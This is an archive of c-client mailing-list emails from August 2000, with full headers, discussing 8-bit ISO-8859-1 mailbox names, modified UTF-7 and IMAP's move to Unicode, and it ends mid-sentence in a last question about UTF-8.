pinedev@shivax2.cac.washington.edu Tue Aug 8 22:07:36 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 8 Aug 2000 22:07:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id WAA03346 for ; Tue, 8 Aug 2000 22:07:34 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id WAA08267; Tue, 8 Aug 2000 22:07:32 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id WAA04849; Tue, 8 Aug 2000 22:06:57 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id WAA25144 for ; Tue, 8 Aug 2000 22:06:19 -0700 Received: from dag.newtech.fi (IDENT:qmailr@dag.newtech.fi [195.163.186.138]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id WAA27818 for ; Tue, 8 Aug 2000 22:06:18 -0700 Received: (qmail 29688 invoked by uid 200); 9 Aug 2000 05:06:03 -0000 Message-Id: <20000809050603.29687.qmail@dag.newtech.fi> Date: Wed, 09 Aug 2000 08:06:03 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: c-client@u.washington.edu, dag@newtech.fi Cc: dag@newtech.fi Subject: Re: c-client literals in LIST ? Followup. In-Reply-To: Message from Dag Nygren of "Wed, 09 Aug 2000 07:17:17 +0300." <20000809041717.29212.qmail@dag.newtech.fi> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > On Wed, 09 Aug 2000 00:20:05 +0300, Dag Nygren wrote: > > > I am using the c-client library from > > > imap-4.7c here and just found out > > > that the mail-list() call doesn't seem > > > to accept literal strings from the server. > > > > I don't think so. c-client deals with literals in list responses all the > > time. > > > > Why do you believe that to be the case? > > I will be a bit more specific: > > The environment is: > - MH-mailboxes > -UW-IMAP 4.7c serving > - IMP web client, uses: > - PHP3.0.16, uses c-client for the imap-functions > - Apache 1.3.12 > > I stated tracing a problem with 8-bit characters in mailboxes > and ended up in the call to mail_list() (or the parsing of it). > > I will now check if it really is the move mail_list() return -> > PHP array, or if the result already is corrupted and get > back. OK, just checked it, and very sorry for wasting your time :-(. It isn't in c-client, it is up in the php3 layer of IMP. Thankyou very much for responding anyway, just proved once again that Open Source support works :-)) -- Dag Nygren email: dag@newtech.fi Oy NewTech Ab phone: +358 9 8024910 Trasktorpet 3 fax: +358 9 8024916 02360 ESBO GSM: 0400-426312 FINLAND From pinedev@shivax2.cac.washington.edu Wed Aug 9 08:10:04 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Aug 2000 08:10:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA16521 for ; Wed, 9 Aug 2000 08:10:02 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA26936; Wed, 9 Aug 2000 08:10:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA09174; Wed, 9 Aug 2000 08:07:59 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id AAA99384 for ; Wed, 9 Aug 2000 00:33:16 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jesus@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id AAA17359 for ; Wed, 9 Aug 2000 00:33:16 -0700 Message-Id: Date: Wed, 9 Aug 2000 00:16:16 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dag Nygren Cc: c-client@u.washington.edu Subject: Re: c-client literals in LIST ? In-Reply-To: <20000809041717.29212.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 09 Aug 2000 07:17:17 +0300, Dag Nygren wrote: > I stated tracing a problem with 8-bit characters in mailboxes > and ended up in the call to mail_list() (or the parsing of it). 8-bit characters are currently not permitted in IMAP mailbox names, and are reserved for future use in UTF-8. Refer to section 5.1.3 of RFC 2060 to find out the correct way to represent non-ASCII characters in IMAP mailbox names. > I will now check if it really is the move mail_list() return -> > PHP array, or if the result already is corrupted and get > back. Perhaps the problem is that PHP is treating the 8-bit characters as UTF-8 in anticipation of the time when UTF-8 will be permitted. You haven't given enough information for me to diagnose what's going on; in particular, what you think the IMAP server is sending and what you are seeing. > This is ISO-8859-1. ISO-8859-1 is forbidden in IMAP mailbox names, and always will be forbidden. IETF policy does not permit Internet standards-track protocols to be locked into supporting only western Europe to the detriment of the rest of the world. All new protocol internationalization is with Unicode. > So nothing for non-Americans then... ;-) That's completely false. The characters of every language in the world are representable in IMAP mailbox names, since IMAP mailbox names are Unicode, encoded in 7 bits through "modified UTF-7" as described in 5.1.3. The main reason why UTF-8 is not in use in IMAP yet is to exterminate any current usage of ISO-8859-1 mailbox names. Otherwise we would have huge potential interoperability problems. However, UTF-8 mailbox names in IMAP are coming, so you need to fix dependencies on ISO-8859-1 now, to prevent your application from being badly broken in the future. Good luck! From pinedev@shivax2.cac.washington.edu Wed Aug 9 09:21:05 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Aug 2000 09:21:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA00268 for ; Wed, 9 Aug 2000 09:21:02 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA22964; Wed, 9 Aug 2000 09:21:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA15130; Wed, 9 Aug 2000 09:20:20 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA128636 for ; Wed, 9 Aug 2000 09:17:10 -0700 Received: from dag.newtech.fi (IDENT:qmailr@dag.newtech.fi [195.163.186.138]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id JAA28891 for ; Wed, 9 Aug 2000 09:17:09 -0700 Received: (qmail 31346 invoked by uid 200); 9 Aug 2000 16:16:53 -0000 Message-Id: <20000809161653.31345.qmail@dag.newtech.fi> Date: Wed, 09 Aug 2000 19:16:53 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: c-client@u.washington.edu Cc: Dag Nygren Subject: Re: c-client literals in LIST ? In-Reply-To: Message from Mark Crispin of "Wed, 09 Aug 2000 00:16:16 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi again, Now I think I know what is going on here: As MH allows directories with 8-bit characters the MH driver 'forgets' to UTF-7 encode these when returning the list of mailboxes. I will check the MH-driver in my UW imap 4.7c if I can fix this BRGDS -- Dag Nygren email: dag@newtech.fi Oy NewTech Ab phone: +358 9 8024910 Trasktorpet 3 fax: +358 9 8024916 02360 ESBO GSM: 0400-426312 FINLAND From pinedev@shivax2.cac.washington.edu Wed Aug 9 10:52:08 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Aug 2000 10:52:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA02705 for ; Wed, 9 Aug 2000 10:52:06 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA32448; Wed, 9 Aug 2000 10:52:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA20867; Wed, 9 Aug 2000 10:51:35 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA27654 for ; Wed, 9 Aug 2000 10:49:58 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (martell@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA25867 for ; Wed, 9 Aug 2000 10:49:58 -0700 Message-Id: Date: Wed, 9 Aug 2000 10:44:50 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dag Nygren Cc: c-client@u.washington.edu Subject: Re: c-client literals in LIST ? In-Reply-To: <20000809161653.31345.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 09 Aug 2000 19:16:53 +0300, Dag Nygren wrote: > As MH allows directories with 8-bit characters > the MH driver 'forgets' to UTF-7 encode these when returning > the list of mailboxes. Presumably, you're talking about MH mailboxes created externally from IMAP, since there is no way that IMAP will create such a mailbox name. Unfortunately, there's no way to win in that situation. There's no way for the software to know what character set the directories are in. It depends upon which country you are in! To make it worse, when UTF-8 happens, there would be 8-bit names in UTF-8, and thus no way to distinguish between the UTF-8 names and the older names. > I will check the MH-driver in my UW imap 4.7c if I can fix this The problem is that you would then have to make the MH driver assume that the 8-bit directory names are ISO-8859-1. They wouldn't be that in Japan. In my opinion, the best thing to do is use external software to convert your existing 8-bit names to the modified UTF-7 convention used by IMAP. Unfortunately, this requires changing everything else that assumes that everything is ISO-8859-1, and that is certainly not a pleasant undertaking! But, sooner or later, it has to be done, and the longer you wait, the more painful the eventual conversion will be. From pinedev@shivax2.cac.washington.edu Wed Aug 9 12:10:10 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Aug 2000 12:10:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA29451 for ; Wed, 9 Aug 2000 12:10:07 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA28971; Wed, 9 Aug 2000 12:10:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA24072; Wed, 9 Aug 2000 12:09:17 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA25104 for ; Wed, 9 Aug 2000 12:06:53 -0700 Received: from dag.newtech.fi (IDENT:qmailr@dag.newtech.fi [195.163.186.138]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id MAA17769 for ; Wed, 9 Aug 2000 12:06:52 -0700 Received: (qmail 31726 invoked by uid 200); 9 Aug 2000 19:06:35 -0000 Message-Id: <20000809190635.31722.qmail@dag.newtech.fi> Date: Wed, 09 Aug 2000 22:06:35 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: Mark Crispin Cc: Dag Nygren , c-client@u.washington.edu, dag@newtech.fi Subject: Re: c-client literals in LIST ? In-Reply-To: Message from Mark Crispin of "Wed, 09 Aug 2000 10:44:50 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Wed, 09 Aug 2000 19:16:53 +0300, Dag Nygren wrote: > > As MH allows directories with 8-bit characters > > the MH driver 'forgets' to UTF-7 encode these when returning > > the list of mailboxes. > > Presumably, you're talking about MH mailboxes created externally from IMAP, > since there is no way that IMAP will create such a mailbox name. Yep, the main mailreader will still be exmh here. IMAP was only meant for enabling a webmail service to access the same mailboxes. > To make it worse, when UTF-8 happens, there would be 8-bit names in UTF-8, and > thus no way to distinguish between the UTF-8 names and the older names. > > > I will check the MH-driver in my UW imap 4.7c if I can fix this > > The problem is that you would then have to make the MH driver assume that the > 8-bit directory names are ISO-8859-1. They wouldn't be that in Japan. But does it have to assume that ? There is a routine imap_utf7_encode() in PHP3.0 that will encode the string it gets and return a valid utf7 coded string. Cannot understand why I couldnt use that? > In my opinion, the best thing to do is use external software to convert your > existing 8-bit names to the modified UTF-7 convention used by IMAP. > Unfortunately, this requires changing everything else that assumes that > everything is ISO-8859-1, and that is certainly not a pleasant undertaking! This is more work than changing the above. It is even a good reason to re-evaluate our decision to use IMAP... -- Dag Nygren email: dag@newtech.fi Oy NewTech Ab phone: +358 9 8024910 Trasktorpet 3 fax: +358 9 8024916 02360 ESBO GSM: 0400-426312 FINLAND From pinedev@shivax2.cac.washington.edu Wed Aug 9 12:31:58 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Aug 2000 12:31:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA32080 for ; Wed, 9 Aug 2000 12:31:56 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA29739; Wed, 9 Aug 2000 12:31:53 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA07856; Wed, 9 Aug 2000 12:31:03 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA56142 for ; Wed, 9 Aug 2000 12:29:06 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rid@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA22313 for ; Wed, 9 Aug 2000 12:29:05 -0700 Message-Id: Date: Wed, 9 Aug 2000 12:07:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dag Nygren Cc: c-client@u.washington.edu Subject: Re: c-client literals in LIST ? In-Reply-To: <20000809190635.31722.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 09 Aug 2000 22:06:35 +0300, Dag Nygren wrote: > > The problem is that you would then have to make the MH driver assume that > > the 8-bit directory names are ISO-8859-1. They wouldn't be that in Japan. > But does it have to assume that ? > There is a routine imap_utf7_encode() in PHP3.0 that will encode the > string it gets and return a valid utf7 coded string. > Cannot understand why I couldnt use that? You still have to know what character set the 8-bit data is in, so that you can do the correct character lookup and conversion. Unless the software is told, it has no way to know. It's just a sequence of octets on the disk, which could be in any character set; and different regions of the world use different character sets to interpret those octets. That's right. Two completely different file names, in different languages, may be represented by the same sequence of octets. That's the problem with using such things as ISO 8859; they only have applicability in a certain area of the world. The same sequence of octets will have completely different interpretations in other regions of the world. So, even if you kludge using PHP3.0's imap_utf7_encode(), you have to edit the software in a way that makes it run only in western Europe. You also have the problem of having two different representations on the disk for the same file names, so if the user selects a European string, the software would have to try both the ISO-8859-1 representation and the Unicode representation. This problem was understood long ago. The time has come to pay the price for the mistaken decision of "just send 8-bit ISO-8859-1". > > In my opinion, the best thing to do is use external software to convert > > your existing 8-bit names to the modified UTF-7 convention used by IMAP. > > Unfortunately, this requires changing everything else that assumes that > > everything is ISO-8859-1, and that is certainly not a pleasant > > undertaking! > This is more work than changing the above. It is even a good reason to > re-evaluate our decision to use IMAP... This isn't an IMAP issue; it's an Internet issue. *ALL* Internet protocols are converting to Unicode. It isn't IMAP that is forcing this upon you; it is the Internet forcing this upon both IMAP and you. Unless you plan to re-evaluate your decision to use the Internet, you are going to have to do this conversion, sooner or later. It is going to be a difficult transition for all of us; but the longer that you wait, the worse the situation will become. Of course, it may be possible to delay it until after you quit the company, and then it can become your successor's problem... :-) You should be beating up on your vendors to start providing you with Unicode capable operating systems and tools. The Microsoft world is doing a fair job of this, but most UNIX systems are way behind. From pinedev@shivax2.cac.washington.edu Wed Aug 9 12:57:37 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Aug 2000 12:57:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA02842 for ; Wed, 9 Aug 2000 12:57:35 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA04087; Wed, 9 Aug 2000 12:57:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA08828; Wed, 9 Aug 2000 12:57:07 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA56076 for ; Wed, 9 Aug 2000 12:55:40 -0700 Received: from dag.newtech.fi (IDENT:qmailr@dag.newtech.fi [195.163.186.138]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id MAA26051 for ; Wed, 9 Aug 2000 12:55:38 -0700 Received: (qmail 31920 invoked by uid 200); 9 Aug 2000 19:55:21 -0000 Message-Id: <20000809195521.31919.qmail@dag.newtech.fi> Date: Wed, 09 Aug 2000 22:55:21 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: Mark Crispin Cc: Dag Nygren , c-client@u.washington.edu, dag@newtech.fi Subject: Re: c-client literals in LIST ? In-Reply-To: Message from Mark Crispin of "Wed, 09 Aug 2000 12:07:55 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Wed, 09 Aug 2000 22:06:35 +0300, Dag Nygren wrote: > > But does it have to assume that ? > > There is a routine imap_utf7_encode() in PHP3.0 that will encode the > > string it gets and return a valid utf7 coded string. I must be very dense here, but please explain a bit more: > You still have to know what character set the 8-bit data is in, so that you > can do the correct character lookup and conversion. Unless the software is > told, it has no way to know. It's just a sequence of octets on the disk, > which could be in any character set; and different regions of the world use > different character sets to interpret those octets. Why would IMAP have to know the characterset ? As long as it passes on the names of the mailboxes as they are represented on disk/in the database and so on ? That is the byte sequence. > That's right. Two completely different file names, in different languages, > may be represented by the same sequence of octets. So ? Then the name would be given to the client represented the same way. There must be some philosofical thing here that I don't get ?! > So, even if you kludge using PHP3.0's imap_utf7_encode(), you have to edit the > software in a way that makes it run only in western Europe. You also have the > problem of having two different representations on the disk for the same file > names, so if the user selects a European string, the software would have to > try both the ISO-8859-1 representation and the Unicode representation. In other words: The coding standard should be sent together with the string ? > Of course, it may be possible to delay it until after you quit the company, > and then it can become your successor's problem... :-) Hope so.... ;-) > You should be beating up on your vendors to start providing you with Unicode > capable operating systems and tools. The Microsoft world is doing a fair job > of this, but most UNIX systems are way behind. Perhaps you are right. And once again thanks for your time on this. Dag From pinedev@shivax2.cac.washington.edu Wed Aug 9 13:46:39 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Aug 2000 13:46:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA01282 for ; Wed, 9 Aug 2000 13:46:37 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA05757; Wed, 9 Aug 2000 13:46:35 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA28707; Wed, 9 Aug 2000 13:46:06 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA22290 for ; Wed, 9 Aug 2000 13:43:26 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (cli@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA14137 for ; Wed, 9 Aug 2000 13:43:25 -0700 Message-Id: Date: Wed, 9 Aug 2000 12:58:01 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Dag Nygren Cc: c-client@u.washington.edu Subject: Re: c-client literals in LIST ? In-Reply-To: <20000809195521.31919.qmail@dag.newtech.fi> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN If you wish to continue this discussion, you should use some mailing list other than c-client. Although character set issues are fascinating in their own way, this has nothing to do with c-client. If you are looking for pedagogical information about character set issues and Internet adoption of Unicode as the standard, refer to RFC 2130. There are many other RFCs about this issue as well. On Wed, 09 Aug 2000 22:55:21 +0300, Dag Nygren wrote: > Why would IMAP have to know the characterset ? > As long as it passes on the names of the mailboxes as they are > represented on disk/in the database and so on ? > That is the byte sequence. Human users do not type in a byte sequence. They type in a sequence of characters. Those characters have to be converted into a byte sequence. Nor do human users read a byte sequence. They read a sequence of characters. The Internet standard character set is Unicode. A particular byte sequence in Unicode has the same character sequence interpretation everywhere in the world. This is not the case with regional character sets such as ISO 8859, SJIS, etc. The same byte sequence will mean completely different characters depending upon whether you are in western Europe, Russia, or Japan. Your ISO-8859-1 strings look completely different outside of Europe. It is impossible to convert a byte sequence in a regional character set to a Unicode byte sequence without knowing the regional character set. Simpilarly, it is impossible to display a byte sequence to the user without knowing its character set. The Internet standard is UTF-8 (an encoding of Unicode), not ISO-8859-1. It is permissible to use regional character sets in cases where the character set can be identified (an obvious example being email in MIME format), but there is no such mechanism for file names, domain names, mailbox names, or URLs. These all must be Unicode. From pinedev@shivax2.cac.washington.edu Fri Aug 11 02:24:42 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Aug 2000 02:24:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA06191 for ; Fri, 11 Aug 2000 02:24:39 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA19926; Fri, 11 Aug 2000 02:24:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA21301; Fri, 11 Aug 2000 02:24:04 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA25152 for ; Fri, 11 Aug 2000 02:21:35 -0700 Received: from phy.hw.ac.uk (root@fhada.phy.hw.ac.uk [137.195.28.12]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA30259 for ; Fri, 11 Aug 2000 02:21:34 -0700 Received: from pc166.phy.hw.ac.uk (karsten@matterhorn.phy.hw.ac.uk [137.195.29.249]) by phy.hw.ac.uk (8.9.3/8.9.3) with ESMTP id KAA13544 for ; Fri, 11 Aug 2000 10:21:32 +0100 (BST) Message-Id: <200008110921.KAA13544@phy.hw.ac.uk> Date: Fri, 11 Aug 2000 10:21:32 +0100 (GMT) Reply-To: Karsten Ballüder Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?iso-8859-1?Q?Karsten Ball=FCder?= To: c-client Subject: Re[2]: c-client literals in LIST ? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=iso-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Aug 2000 02:50:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA18207 for ; Fri, 11 Aug 2000 02:50:15 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA25608; Fri, 11 Aug 2000 02:50:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA21486; Fri, 11 Aug 2000 02:49:51 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA76600 for ; Fri, 11 Aug 2000 02:48:21 -0700 Received: from relay2.mail.uk.psi.net (relay2.mail.uk.psi.net [154.32.107.6]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA22575 for ; Fri, 11 Aug 2000 02:48:20 -0700 Received: from voc_fs1.vocalis.com ([195.152.18.3] helo=groupwise.vocalis.com) by relay2.mail.uk.psi.net with smtp (Exim 2.12 #2) id 13NBQ6-0002X7-00 for c-client@u.washington.edu; Fri, 11 Aug 2000 10:48:06 +0100 Received: from Vocalis-Message_Server by groupwise.vocalis.com with Novell_GroupWise; Wed, 09 Aug 2000 16:46:48 +0100 Message-Id: Date: Wed, 09 Aug 2000 16:46:37 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Edmund GRIMLEY-EVANS" To: Cc: Subject: Re: c-client literals in LIST ? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How will UTF-8 be implemented in IMAP? Will the character '&' continue to be encoded as "&-" even when UTF-8 is in use? If not, how will you avoid the ambiguity of "&-"? How will you encode the characters 0x00-0x1f and 0x7f? Also, it wasn't clear to me 